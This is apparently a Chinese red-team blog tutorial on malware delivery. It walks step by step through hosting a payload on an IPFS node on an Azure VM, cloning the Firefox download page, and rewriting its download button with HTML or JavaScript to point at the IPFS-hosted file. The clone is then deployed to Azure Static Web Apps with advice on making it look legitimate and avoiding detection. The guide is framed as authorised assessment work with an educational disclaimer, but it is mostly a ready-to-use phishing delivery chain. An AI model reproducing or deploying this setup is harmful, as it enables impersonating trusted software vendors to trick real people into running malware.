利用Azure静态网站和IPFS投递器进行载荷分发

本文详细介绍了如何通过Azure虚拟机构建IPFS节点托管恶意载荷,并利用Azure静态网站克隆合法网站进行社会工程攻击的技术方案。包含完整的IPFS节点配置、网站克隆修改和自动化部署流程。

利用Azure静态网站和IPFS投递器进行载荷分发

武器化星际文件系统(IPFS)和Azure站点

红队评估通常涉及进行社会工程活动,如通过电子邮件进行网络钓鱼或直接呼叫目标进行语音钓鱼。目标列表通常在行动的早期阶段从LinkedIn、Hunter.io、ZoomInfo等公共平台收集。

最终目标是将有效载荷传递给目标组,以获取内部网络的访问权限。有多种传递有效载荷的方法,其中一种是通过IPFS(星际文件系统),这是一种旨在创建去中心化点对点网络以存储和共享数据的协议。

在本指南中,我们将使用Azure环境在Azure虚拟机上设置IPFS节点来托管我们的有效载荷。我们还将学习如何克隆网站以使其在评估中显得合法,并将其托管在Azure静态网站上。

🚩免责声明:本文仅用于教育目的,演示威胁行为者如何利用这些技术进行社会工程攻击。请负责任地使用,不要执行任何非法活动!

目录

  • Azure虚拟机设置
    • 创建Azure VM
    • 安装IPFS
  • Azure静态网站管理
    • 设置Azure静态网站
    • 克隆网站
  • 开发环境设置
    • 安装NodeJS和NPM
    • 安装SWA CLI工具
    • 代码部署
  • 资源

创建Azure VM

我们将使用Azure VM来安装IPFS。在云红队系列中,我们介绍了部署VM的过程。我将分享解释设置VM和连接到VM的部分的链接,以便我们可以将其用于IPFS。

  • 启动虚拟机(VM)
  • 连接到VM

安装IPFS

设置虚拟机并连接后,我们从IPFS分发站点下载Kubo(go-ipfs)发行版。

Kubo是一个用Go编写的IPFS包。它提供了与IPFS网络交互所需的所有功能,包括运行节点、存储和检索数据以及与其他对等点通信。

对于我们的设置,我们选择了x64的Linux架构,这与上一步创建的Azure机器兼容。要安装Kubo,使用wget或curl下载文件。

1
wget https://dist.ipfs.tech/kubo/v0.28.0/kubo_v0.28.0_linux-amd64.tar.gz

然后,解压文件,将其移动到"kubo"目录并运行安装脚本。确保以root身份运行脚本以避免权限错误。

首次运行脚本时,它将把可执行文件"ipfs"移动到/user/local/bin/。

1
2
3
tar -xf kubo_v0.28.0_linux-amd64.tar.gz
cd kubo
sudo ./install.sh

要启动,运行命令ipfs

安装IPFS后,我们可以创建一个名为"files"的目录来存储要共享的文件。此步骤是可选的,但有助于保持工作区井井有条。

对于此演示,我们将使用Windows计算器作为托管文件的示例来表示有效载荷:%WinDir%\System32\calc.exe。我们将使用scp命令将calc.exe上传到VM上的files目录。

1
sudo scp -i IPFS-VM_key.pem calc.exe azureuser@Azure_VM_IP:/home/azureuser/ipfs/files

设置IPFS节点时,需要运行命令ipfs init。IPFS节点本质上是连接到IPFS网络的计算机或设备,例如笔记本电脑、台式机、服务器或智能手机。

首次初始化节点时,您会收到对等身份的内容标识符(CID),每次运行IPFS时都应获取。CID用作IPFS网络内存储的任何数据的唯一指纹。

1
ipfs init

对等CID以及其他配置信息保存在主目录中.ipfs目录中的"config"文件中。

要启动节点,使用ipfs daemon命令。这将在前台启动IPFS守护进程。您可以使用"Screen"在后台运行它。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
ipfs daemon

#启动screen会话,名称可以是任何名称
>> screen -S session_name 
>> ipfs daemon 
#让IPFS守护进程在后台运行,并返回到终端
>> 按Ctrl + A,然后按Ctrl + D。

#列出可用会话
>>screen -ls

#返回到IPFS会话
>> screen -r sessionID  例如:screen -r 12345

当您看到Swarm信息时,表示守护进程已准备就绪。在IPFS上下文中,“Swarm"指的是负责管理点对点连接和节点间数据交换的组件。

IPFS Web界面

可以通过默认端口localhost:5001/webui访问Web界面。为了避免在VM防火墙中打开端口来访问界面,我们可以使用本地端口转发技巧从测试机器本地访问它。

从操作安全的角度来看,这种方法更好,可以避免被互联网扫描器检测到并因可疑活动而被标记。唯一应向公众开放的端口是用于SSH的端口22。

要设置本地端口转发,我们可以退出当前SSH会话并使用-L标志重新SSH,或在当前会话上使用SSH命令。

命令-L 5001:127.0.0.1:5001创建一个隧道,将连接从本地机器(Kali)上的端口5001转发到远程服务器环回接口(127.0.0.1)上的端口5001。

这意味着发送到本地机器127.0.0.1:5001的任何流量将通过SSH隧道重定向到远程服务器的127.0.0.1:5001。

1
ssh azureuser@Azure_VM_IP -i Azure_VM_KEY.pem -L 5001:127.0.0.1:5001

要上传文件,单击侧边菜单中的"Files"选项并导入我们的文件"Calc.exe”。

文件上传后,它将收到一个无法更改的CID哈希。如果修改文件,将生成新的哈希值。要获取上传文件的公共链接,单击侧面的三个点并选择"Share link"。

我们将使用此链接将其嵌入到下一步将要创建的克隆站点中。

我们上传的文件可能需要几分钟才能广播到IPFS网络。一旦可用,我们就可以访问和下载该文件。默认的公共网关是https://ipfs.io,但我们可以将其更改为IPFS公共网关上的任何可用网关。

我们将默认网关更改为Cloudflare IPFS网络,因为它看起来更合法,并将链接用于Azure站点。

1
https://cloudflare-ipfs.com/ipfs/FILE_CID_HASH

要停止运行的守护进程,运行ps -aux,选择IPFS PID,并使用PID编号运行kill命令以停止进程。

1
2
ps -aux | grep ipfs
sudo kill +9 PID_NUMBER

设置Azure静态网站

在本节中,我们将设置Azure静态网站来托管下一步将要创建的克隆网站。首先,在Azure门户中搜索"Static Web Apps"并单击"Create static web app"。

然后,填写"Project Details",选择订阅和资源组。使用任何Azure服务时,必须首先创建订阅。这使Microsoft能够跟踪所使用的服务并相应地向用户收费。创建订阅的说明在《云红队:为C2基础设施部署Azure VM》指南中。

接下来,选择现有的"Resource group",或者如果尚未设置,单击"Create new"。为站点选择名称,选择"Hosting plan"类型为免费,对于"Deployment details"选择Other。

然后,转到下一步并选择默认选项,如下面的屏幕截图所示。

接下来,添加标签。标签是可以附加到任何Azure服务的标签,以帮助管理和跟踪资源成本。

最后,查看添加的信息并单击"Create"。创建需要几秒钟。站点部署后,我们将看到"Your deployment is complete"消息。单击"Go to resource"。

在新创建的站点中,单击"Overview"部分以查看有关站点的所有详细信息。

接下来,导航到URL,下面的屏幕截图显示了创建新静态站点时的默认页面。我们可以使用自定义域创建比blue-meadow-0eeaa7210.5更有意义的内容,但这超出了本文的范围;我们将在未来的帖子中讨论它。

克隆网站

创建静态站点后,我们需要克隆一个对最终用户看起来合法且与我们的社会工程评估借口一致的网站。我们可以克隆客户的官方网站,展示他们使用的工具,或者如果他们销售应用程序,则克隆下载页面。

拥有干净的克隆站点以显得合法至关重要。我推荐两个Chrome扩展程序,用于将完整的网页保存为单个HTML文件,并嵌入所有资源(图像、CSS等)。安装以下扩展之一:

  • Save Page WE
  • SingleFile

对于此演示,我们将使用Firefox下载页面作为示例。要克隆页面,导航到下载页面并单击Save Page WE扩展。它将HTML页面本地下载。下面的屏幕截图是克隆页面的。

克隆后,创建一个新目录并将克隆的页面放入其中。我们将项目命名为"CloneSite"。在下一步中,我们将修改HTML代码,将官方下载链接替换为托管在IPFS上的有效载荷链接。

安装NodeJS和NPM

接下来,我们需要安装Node包管理器(npm)。建议安装捆绑了npm的Node.js以确保兼容性并简化过程。

对于Windows,访问官方Node.js下载页面并安装Windows安装程序。

安装后,确保node.js和npm.ps1文件已添加到系统环境变量中的"Path"。通过打开PowerShell终端并运行$env:path来检查这一点,或者您可以通过指定node.js和npm文件的路径手动添加它们。

1
$env:path = "$env:path;C:\Program Files\nodejs;C:\Users\User\AppData\Roaming\npm"

然后,在运行npm之前,我们需要绕过PowerShell执行策略以便能够运行npm.ps1脚本。否则,会遇到以下错误。

1
2
#绕过策略
powershell -executionpolicy bypass

之后,我们运行npm -v来快速检查npm版本并确保我们可以在终端中运行命令。如下所示,命令返回了当前安装的版本。

安装SWA CLI工具

要将克隆的页面代码从我们的机器部署到Azure静态站点。我们将使用静态Web Apps CLI(swa)工具。

在继续安装swa之前,请确保从Microsoft Store安装Python 3.12。如果已经安装了python3,可以跳过此步骤。

然后,打开Visual Studio,选择我们之前创建的目录"CloneSite",并通过转到View > Terminal打开终端。

接下来,绕过PowerShell执行策略并通过运行以下命令安装swa工具。

1
2
3
#绕过策略
powershell -executionpolicy bypass
npm install -g @azure/static-web-apps-cli

代码部署

现在我们已准备好推送代码,我们可以将IPFS有效载荷URL直接嵌入到HTML代码中,或使用JavaScript将原始URL替换为我们的URL。我将包括两种方法以供学习。

返回克隆的页面,使用浏览器的内置开发人员工具检查下载按钮的HTML"id"名称 — download-button-desktop-release-win

在Visual Studio中搜索"id",将原始下载URL替换为IPFS URL,然后保存。

HTML方法:

1
<a class="download-link os_win mzp-t-xl mzp-c-button mzp-t-product ga-product-download" id="download-button-desktop-release-win" href="https://cloudflare-ipfs.com/ipfs/FILE_CID_HASH" data-link-type="download" data-display-name="Windows 32-bit" data-download-version="win" data-download-os="Desktop" data-download-location="primary cta">

JavaScript方法:

1
2
3
4
5
6
<!-- 将代码放在文件末尾,</body></html>之前 -->
<a href="https://download.mozilla.org/?product=firefox-stub&os=win&lang=en-US" id="download-button-desktop-release-win"> </a>
<script>
    var element = document.getElementById("download-button-desktop-release-win");
    element.href = "https://cloudflare-ipfs.com/ipfs/FILE_CID_HASH";
</script>

在开发人员终端中,使用swa login命令登录到Azure门户以获取会话,这将使我们能够推送代码。

一旦认证,它会重定向到端口31337上的localhost页面,声明认证完成。有时,认证后页面不会快速弹出。如果发生这种情况,再次运行swa login命令。

在终端中,我们可以看到我们已成功认证到Azure,并显示了可用的租户。我们可以选择我们的静态站点所在的租户。

要检查您当前的工作租户,访问Azure门户并单击右上角终端图标,位于您的帐户名称旁边。

终端激活后,运行Get-AzTenant命令。它将提供租户信息,例如ID和连接的域。使用箭头选择要使用的租户,然后按Enter。

使用swa登录后,在CloneSite目录中创建一个新的.env文件。此文件包含将用于代码部署的订阅ID和租户ID。

要使用swa部署代码,您需要在同一目录中创建配置文件,通过仅运行swa。这将启动配置文件,并询问您是否要将其命名为与站点名称相同。

保持默认并按Enter。当询问设置是否正确时,按"Y"。

当提示部署到您的应用程序时,键入"Y"并按Enter。如果询问是否要创建新应用程序,键入"N"并按Enter。

由于我们已经创建了一个应用程序,我们将使用部署令牌来部署我们的应用程序。当您创建了多个应用程序并希望指定要部署到哪个应用程序时,部署令牌方法很有用。

要获取部署令牌,转到Azure门户,导航到我们创建的静态站点,在概述部分单击"Manage Deployment Token",然后复制令牌。

运行swa命令后,配置文件将创建为JSON文件,名为swa-cli.config.json,位于主CloneSite目录中。

💡一个重要提示是,如果将index.html文件直接放在CloneSite中,SWA将不会部署它。它不会显示错误,但网站将包含空内容。

为避免这种情况,创建一个名为"firefox-clone-site"的新目录并将您的代码(index.html)放在那里。目录结构如下面的屏幕截图所示。

此外,确保将HTML页面命名为"index.html",使用小写"i";否则,它将不会部署。

现在我们有了项目的适当结构,我们可以使用swa deploy命令部署项目。接下来,我们需要将环境指定为"production"。如果未指定环境,项目将部署在预览环境中而不是生产环境中。

1
swa deploy .\CloneSite\firefox-clone-site\ --deployment-token TOKEN --env production

当我们单击下载按钮时,我们获取托管在IPFS上的文件。浏览器的行为各不相同 — Edge和Firefox直接安装它,如屏幕截图所示。

而Chrome将提示"另存为"窗口来保存可执行文件。在社会工程评估中,如果我们有好的借口说服用户运行可执行文件,这并不重要。

为了使其看起来更合法,我们可以指定自定义域而不是"blue-meadow-0eeaa7210.5"。我们不会在本文中包括它,但我们将在未来的帖子中介绍它。

今天,我们学习了如何在Azure VM上设置IPFS节点并托管有效载荷文件。然后,我们克隆了一个网站并将其部署在Azure静态网站上,该网站将我们重定向到IPFS托管的有效载荷。

今天就到这里,下次见!

资源

  • 通过Cloudflare和IPFS发布dcorelabs.com
  • 通过IPFS传递有效载荷
  • 使用Azure容器实例运行星际文件系统节点
  • 将星际文件系统用于攻击性操作
  • 威胁行为者快速采用Web3 IPFS技术
  • 从本地机器部署到Azure静态Web应用而无GitHub Action
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计